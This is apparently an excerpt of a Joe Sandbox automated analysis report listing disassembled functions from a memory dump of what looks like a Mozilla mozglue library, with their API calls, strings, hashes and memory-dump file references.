Instruction ID: 667e7e15475c707f0d9d39aba2b7f76462058d138df9ad3bbe7c7e419154578c
Opcode Fuzzy Hash: c741566d187c5e1927815abb6cf67d5ee83b30d1d0d9c1842fb0f79e17fbd003
Instruction Fuzzy Hash: 41F05B75208304AFDB405FA698889597B7DEFCE29DF100417EA0583752DB764C078B6E

Function 6C6A05F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C69CFAE,?,?,?,6C6631A7), ref: 6C6A05FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C69CFAE,?,?,?,6C6631A7), ref: 6C6A0616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C6631A7), ref: 6C6A061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C6631A7), ref: 6C6A0627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C6A061B, 6C6A0625
<jemalloc>, xrefs: 6C6A05FA, 6C6A060F

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 25304fd510a07c834caa3ce73a2687382c7214ddcb50f06c903ac0a64441ee0f
Instruction ID: 5fceec77fd2e93903ce03be10548f82a4ceab93bba6c0272d8eba86a8b3c8b2d
Opcode Fuzzy Hash: 25304fd510a07c834caa3ce73a2687382c7214ddcb50f06c903ac0a64441ee0f
Instruction Fuzzy Hash: D4E08CE2A0111437F6142256AC86DBB771CDBC6134F0A003AFE0E83301E94ABD1A52FE

Function 6C6705F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02d3156eb505d7eb4b9d72eb06dc7958a0655039c11c1471b2504a1d2cad683c
Instruction ID: 13b9cb9a2cc68c195f34ab26c2a8339640aad66e3284cc2cefd25f3322cba3af
Opcode Fuzzy Hash: 02d3156eb505d7eb4b9d72eb06dc7958a0655039c11c1471b2504a1d2cad683c
Instruction Fuzzy Hash: 7EA16A70A05745CFDB24CF29C594A9AFBF1BF89304F048A6ED44A97B00E731A945CFA4

Function 6C6C14A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6C14C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6C14E2
GetCurrentThreadId.KERNEL32 ref: 6C6C1546
InitializeConditionVariable.KERNEL32(?), ref: 6C6C15BA
free.MOZGLUE(?), ref: 6C6C16B4

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 8ab13bdc6987211c885e43afc358fc4bd23cbe48191367fa2a866fd83a1393ac
Instruction ID: 640a70b8ffbdd5cc438a58c56a581173686ccf6fa70b58778795490e06db3c9e
Opcode Fuzzy Hash: 8ab13bdc6987211c885e43afc358fc4bd23cbe48191367fa2a866fd83a1393ac
Instruction Fuzzy Hash: 3761EF71A047409BDB11CF21C880BDAB7B5FF8A308F44851DED8A67701DB31E959CBAA

Function 6C6BDC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6BDC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C6BD38A,?), ref: 6C6BDC6F
free.MOZGLUE(?,?,?,?,?,6C6BD38A,?), ref: 6C6BDCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C6BD38A,?), ref: 6C6BDCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C6BD38A,?), ref: 6C6BDD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C6BD38A,?), ref: 6C6BDD4A

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: cea0cd098106ea8f2e025b7a81ce9cc8239f8bf05e6c83cabbe21fedc1151601
Instruction ID: eadb463e06905d4c3c7103e324c343f5c05844e5502df4243ee54f06831104f0
Opcode Fuzzy Hash: cea0cd098106ea8f2e025b7a81ce9cc8239f8bf05e6c83cabbe21fedc1151601
Instruction Fuzzy Hash: 08418BB5A00205CFCB00CF99C88099AB7F9FF89318B154569DA46ABB14D731FC11CFA8

Function 6C69F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C69F480

Part of subcall function 6C66F100: LoadLibraryW.KERNEL32(shell32,?,6C6DD020), ref: 6C66F122
Part of subcall function 6C66F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C66F132

CloseHandle.KERNEL32(00000000), ref: 6C69F555

Part of subcall function 6C6714B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C671248,6C671248,?), ref: 6C6714C9
Part of subcall function 6C6714B0: memcpy.VCRUNTIME140(?,6C671248,00000000,?,6C671248,?), ref: 6C6714EF

Part of subcall function 6C66EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C66EEE3

CreateFileW.KERNEL32 ref: 6C69F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C69F523

Strings

\oleacc.dll, xrefs: 6C69F4CB

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 71e18aedab11ced57b74b3eb04f3c7c3f042773d87e72f8729fa0a5a9dd99775
Instruction ID: 27ddba2546a1fe79f01b1050981f426b50d7c0fcf7d12cb9e29bd8262fd7e259
Opcode Fuzzy Hash: 71e18aedab11ced57b74b3eb04f3c7c3f042773d87e72f8729fa0a5a9dd99775
Instruction Fuzzy Hash: 1741D0706087119FE720DF29C884B9BB3F4AF99318F504A1DF59083650EB30E989CB9B

Function 6C6C74A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C6C7526
__Init_thread_footer.LIBCMT ref: 6C6C7566
__Init_thread_footer.LIBCMT ref: 6C6C7597

Strings

kernel32.dll, xrefs: 6C6C7557
UnmapViewOfFile2, xrefs: 6C6C7552

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: fdb534d6e01cfe25ca224c662de99dc043e35d7268a6359b0d37936031bf373e
Instruction ID: 30276cdd120090933787e1cfde977ec91139dc09b7b589876d936be778163174
Opcode Fuzzy Hash: fdb534d6e01cfe25ca224c662de99dc043e35d7268a6359b0d37936031bf373e
Instruction Fuzzy Hash: FB21D771B0A50197DF149FEBF894E9933B6EB8F325F04852AD50547F40CB35A8428A9F

Function 6C6CC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C6CC0E9), ref: 6C6CC418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C6CC437
FreeLibrary.KERNEL32(?,6C6CC0E9), ref: 6C6CC44C

Strings

NtQueryVirtualMemory, xrefs: 6C6CC431
ntdll.dll, xrefs: 6C6CC413

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 2193883748d1e6ce72985218bc31b2c1708a0395ae1c88797cab7cd6baf1db81
Instruction ID: a5bc06abd1e469017653fb7f131d95b7e6ace6e79bfea2e332490b66c3e27956
Opcode Fuzzy Hash: 2193883748d1e6ce72985218bc31b2c1708a0395ae1c88797cab7cd6baf1db81
Instruction Fuzzy Hash: AEE09270B09301ABDB806B73A9887127AF8AB8E344F009127AA05D16D0EBB4D4028A5E

Function 6C6C75B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C6C748B,?), ref: 6C6C75B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C6C75D7
FreeLibrary.KERNEL32(?,6C6C748B,?), ref: 6C6C75EC

Strings

ntdll.dll, xrefs: 6C6C75B3
RtlNtStatusToDosError, xrefs: 6C6C75D1

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 6e7d1202b1a9b95d7ad3bf644f15c5a6862bcaf5fb60a8994302430adf3932c5
Instruction ID: 611054f8a8da3ead46d3081c9e8bd69c22cfe54c1dad48d39c616c1d66ea4022
Opcode Fuzzy Hash: 6e7d1202b1a9b95d7ad3bf644f15c5a6862bcaf5fb60a8994302430adf3932c5
Instruction Fuzzy Hash: 67E0927160E301ABEF806BA3E8CC7057AF8EB4E398F104027AA05D1610EBB085428F1E

Function 6C6C7600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C6C7592), ref: 6C6C7608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C6C7627
FreeLibrary.KERNEL32(?,6C6C7592), ref: 6C6C763C

Strings

ntdll.dll, xrefs: 6C6C7603
NtUnmapViewOfSection, xrefs: 6C6C7621

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 58f5ba388561eb0ed359189658cc631930f2b3797ffba0421a396d4fdcc5a8fc
Instruction ID: f3b2564b9a7c7037de440a4d9678cf175ed3599336757cbc965b217bb794e47a
Opcode Fuzzy Hash: 58f5ba388561eb0ed359189658cc631930f2b3797ffba0421a396d4fdcc5a8fc
Instruction Fuzzy Hash: 9BE09AB161D3019BEF805BA7B8887017AB8E75E399F004117EA05D2610DBB184019F1E

Function 6C6CBE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C6CBE49), ref: 6C6CBEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C6CBEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C6CBE49), ref: 6C6CBF38
RtlReAllocateHeap.NTDLL ref: 6C6CBF83
RtlFreeHeap.NTDLL(6C6CBE49,00000000), ref: 6C6CBFA6

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 18b78c1b67c0aa440b9b0408de39dc163dec7cc5bfd378063af5e0bc1c36461e
Instruction ID: cf9b66269b3e86b6b3d25559b3e6f558a4fc67204c242a2519abac79e91764cb
Opcode Fuzzy Hash: 18b78c1b67c0aa440b9b0408de39dc163dec7cc5bfd378063af5e0bc1c36461e
Instruction Fuzzy Hash: 57518E71B002058FE710CF69CD80BAAB3A6FFC9314F294629D526A7B94D730F9068F85

Function 6C6B8E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C6AB58D,?,?,?,?,?,?,?,6C6DD734,?,?,?,6C6DD734), ref: 6C6B8E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C6AB58D,?,?,?,?,?,?,?,6C6DD734,?,?,?,6C6DD734), ref: 6C6B8EBF
free.MOZGLUE(?,?,?,?,6C6AB58D,?,?,?,?,?,?,?,6C6DD734,?,?,?), ref: 6C6B8F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C6AB58D,?,?,?,?,?,?,?,6C6DD734,?,?,?,6C6DD734), ref: 6C6B8F46
free.MOZGLUE(?,?,?,?,6C6AB58D,?,?,?,?,?,?,?,6C6DD734,?,?,?), ref: 6C6B8F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C6AB58D,?,?,?,?,?,?,?,6C6DD734,?,?,?), ref: 6C6B8F8F

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 9fcd5d84153f3b92806206f9ee7cf6e959a4d4dfd9d785c2e08bb415633e7a12
Instruction ID: 1013799d7aa6cfaa88b6e87f5ca84de66778de6d9c31ae97598cff86ad0ee3e1
Opcode Fuzzy Hash: 9fcd5d84153f3b92806206f9ee7cf6e959a4d4dfd9d785c2e08bb415633e7a12
Instruction Fuzzy Hash: 2451D1B1A012168FEB10CF64D8807AE77B6FF49348F25042AD916BB750E731F915CBA9

Function 6C664DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C664E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C664E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C664EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C664F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C664F1E

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: d63abffd537c9b569c686dbf69171b6a6b857244ac123216a8a0be283c935450
Instruction ID: a931f9b9c714a3ffcf6bd6222afe2ffcd4c864fc55a19f671b7910447453616f
Opcode Fuzzy Hash: d63abffd537c9b569c686dbf69171b6a6b857244ac123216a8a0be283c935450
Instruction Fuzzy Hash: 3941D1716087059FC705CF2AC4909ABB7E4BFCA344F108A1DF56687B41DBB0E915CB96

Function 6C671530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C67152B,?,?,?,?,6C671248,?), ref: 6C67159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C67152B,?,?,?,?,6C671248,?), ref: 6C6715BC
moz_xmalloc.MOZGLUE(-00000001,?,6C67152B,?,?,?,?,6C671248,?), ref: 6C6715E7
free.MOZGLUE(?,?,?,?,?,?,6C67152B,?,?,?,?,6C671248,?), ref: 6C671606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C67152B,?,?,?,?,6C671248,?), ref: 6C671637

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 5065760a90cd205662600357dfb1fb88d4636428e371a6fedd510068d06ad173
Instruction ID: 810b58ae5cbb1b9f94bcf6d003b7c48108dcf58f98e936f41b4472add19e9956
Opcode Fuzzy Hash: 5065760a90cd205662600357dfb1fb88d4636428e371a6fedd510068d06ad173
Instruction Fuzzy Hash: 3131ECB19001149BD7288E7CD8604AE77A5BB863647350F2EE427DBBD4EB30D90587B9

Function 6C6CAD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C6DE330,?,6C68C059), ref: 6C6CAD9D

Part of subcall function 6C67CA10: malloc.MOZGLUE(?), ref: 6C67CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C6DE330,?,6C68C059), ref: 6C6CADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C6DE330,?,6C68C059), ref: 6C6CAE01
GetLastError.KERNEL32(?,00000000,?,?,6C6DE330,?,6C68C059), ref: 6C6CAE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C6DE330,?,6C68C059), ref: 6C6CAE3D

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 4c81976371803a8613208b90fcc8da19fd02d6b0c0533734997e7f410fd7e8bf
Instruction ID: b519af52adbedfb7334f61b517a313ef292df891d57482b1f76a0f3bda9f778a
Opcode Fuzzy Hash: 4c81976371803a8613208b90fcc8da19fd02d6b0c0533734997e7f410fd7e8bf
Instruction Fuzzy Hash: 4B317FB1A012159FDB50DF798C44AABB7F8EF89710F158829E84AD7700E734E805CBE9

Function 6C6C5EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C6DDCA0,?,?,?,6C69E8B5,00000000), ref: 6C6C5F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C69E8B5,00000000), ref: 6C6C5F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C69E8B5,00000000), ref: 6C6C5F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C69E8B5,00000000), ref: 6C6C5F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C69E8B5,00000000), ref: 6C6C5FD6

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: b6ceb3b73a3252ffd1d7bec7c77ae9e08dd9750240b7a757f1bfee932ca7f90a
Instruction ID: f32ec210d79ed3aea4a778c84cb98314fdcf781078d9b798f0c8f696550c1f77
Opcode Fuzzy Hash: b6ceb3b73a3252ffd1d7bec7c77ae9e08dd9750240b7a757f1bfee932ca7f90a
Instruction Fuzzy Hash: F93118343046008FD724CF29C898A2AB7F6FF89318F648559E5668BB95C731EC41CF89

Function 6C66B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C66B532
moz_xmalloc.MOZGLUE(?), ref: 6C66B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C66B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C66B57E
free.MOZGLUE(00000000), ref: 6C66B58F

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 961cf12a23adec5bfe0708476b4d426c31304866510d5f56ca6a5c6c3dab6bcd
Instruction ID: 0ad7c72ec66b1e7bb7bea3a1c58fce540f2dacc26d821772cce6902fd9d458f1
Opcode Fuzzy Hash: 961cf12a23adec5bfe0708476b4d426c31304866510d5f56ca6a5c6c3dab6bcd
